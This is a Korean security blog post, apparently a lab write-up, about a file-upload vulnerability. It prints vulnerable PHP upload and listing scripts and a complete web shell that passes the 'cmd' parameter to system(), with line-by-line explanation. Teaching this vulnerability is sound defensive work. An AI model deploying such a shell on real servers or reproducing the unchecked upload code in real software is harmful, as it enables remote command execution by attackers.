본문 바로가기
컴퓨터보안/웹서버

File Vulnerability

by 데이빗제이2 2024. 5. 28.

image-storage

list php

<?php
    #1. ./uploads/ 디렉토리를 $directory 변수에 저장합니다. 이 디렉토리는 파일들이 저장된 폴더입니다.
    $directory = './uploads/';
    
    #2. scandir($directory) 함수는 지정된 디렉토리의 파일과 디렉토리 목록을 배열로 반환합니다.
    #   array_diff(scandir($directory), array('..', '.', 'index.html'))는 scandir 함수의 결과에서 '..', '.', 'index.html'를 제외한 배열을 반환합니다.
    #   즉, ..(상위 디렉토리), .(현재 디렉토리), 'index.html' 파일을 제외한 나머지 파일들만 $scanned_directory 배열에 저장합니다.
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    
    #3. foreach 루프는 $scanned_directory 배열의 각 요소를 반복합니다.
    #   각 반복에서 $value는 현재 파일명을 나타냅니다.
    #   echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";는 HTML 리스트 항목(<li>)을 생성합니다. 리스트 항목에는 파일에 대한 링크(<a>)가 포함되어 있으며, 링크의 href 속성은 파일의 경로를 가리킵니다.
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
    }
?>

upload.php

<?php
  #1. HTTP 요청 메서드가 POST인지 확인합니다.
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    #2. 파일이 업로드되었는지 확인합니다.
    if (isset($_FILES)) {
      #3. 업로드된 파일이 저장될 디렉토리를 지정합니다.
      $directory = './uploads/';
      #4. 업로드된 파일 정보를 변수에 저장합니다.
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      #5. 파일 업로드 중 오류가 발생했는지 확인합니다.
      if ($error > 0) {
        #6. 오류가 발생한 경우 오류 메시지를 출력합니다.
        echo "Error: " . $error . "<br>";
      } else {
        #7. 동일한 이름의 파일이 이미 존재하는지 확인합니다.
        if (file_exists($directory . $name)) {
          #8. 파일이 이미 존재하는 경우 메시지를 출력합니다.
          echo $name . " already exists. ";
        } else {
          #9. 업로드된 파일을 지정된 디렉토리로 이동시킵니다.
          if (move_uploaded_file($tmp_name, $directory . $name)) {
            #10. 파일이 성공적으로 저장된 경우 메시지를 출력합니다.
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    } else {
      #11. 파일이 업로드되지 않은 경우 오류 메시지를 출력합니다.
      echo "Error !";
    }
    #12. 스크립트 실행을 중지합니다.
    die();
  }
?>

 

업로드할 웹셀 파일(example.php)

<html>
<body>
    <!-- 사용자로부터 명령어를 입력받는 폼 -->
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
        <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
        <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
        // URL에 'cmd' 파라미터가 설정되어 있는지 확인합니다.
        if(isset($_GET['cmd'])) {
            // 명령어를 실행하고 출력을 표시합니다.
            system($_GET['cmd']);
        }
    ?>
    </pre>
</body>
</html>

상세 설명

1. HTML 구조

이 HTML 부분은 입력 필드와 제출 버튼이 있는 간단한 웹 폼을 생성합니다.

<html>
<body>
    <!-- 사용자로부터 명령어를 입력받는 폼 -->
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
        <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
        <input type="SUBMIT" value="Execute">
    </form>
    <pre>
  • 폼 태그: 이 폼은 GET 메서드를 사용하여 데이터를 전송합니다. 폼이 제출되면 데이터가 URL의 쿼리 문자열로 추가됩니다.
  • 입력 필드: cmd라는 이름의 텍스트 입력 필드가 사용자가 실행하고자 하는 시스템 명령어를 입력할 수 있도록 합니다. autofocus 속성은 페이지가 로드될 때 입력 필드가 자동으로 포커스되도록 합니다.
  • 제출 버튼: 제출 버튼을 사용하여 폼 데이터를 서버로 전송합니다.

2. PHP 코드

PHP 부분은 제출된 폼 데이터를 처리하고 지정된 시스템 명령어를 실행합니다.

    <?php
        // URL에 'cmd' 파라미터가 설정되어 있는지 확인합니다.
        if(isset($_GET['cmd'])) {
            // 명령어를 실행하고 출력을 표시합니다.
            system($_GET['cmd']);
        }
    ?>
    </pre>
</body>
</html>
  • 'cmd' 파라미터 확인: 스크립트는 먼저 URL에 cmd 파라미터가 설정되어 있는지 확인합니다.isset 함수는 특정 변수가 설정되어 있는지 확인합니다. 여기서는 $_GET['cmd']가 설정되어 있는지 확인하여 사용자가 폼을 제출했는지 확인합니다.
if(isset($_GET['cmd'])) {

 

 

  • 명령어 실행 및 출력 표시:system 함수는 시스템 명령어를 실행하고 그 출력을 그대로 표시합니다. 사용자가 입력한 명령어는 $_GET['cmd']를 통해 전달됩니다.
system($_GET['cmd']);

 

사용 예시

  1. 명령어 입력:
  2. 명령어 실행:
  3. 출력 표시:
    • 명령어의 출력 결과가 웹 페이지에 표시됩니다.

 

 

 

'컴퓨터보안 > 웹서버' 카테고리의 다른 글

Server-side Request Forgery (SSRF)  (0) 2024.05.29
파일 취약성 관련 백그라운드  (0) 2024.05.28
파일 취약성  (0) 2024.05.24
서버 관련 정리(간단히)  (0) 2024.05.23
서버 관련 정리(자세히)  (0) 2024.05.23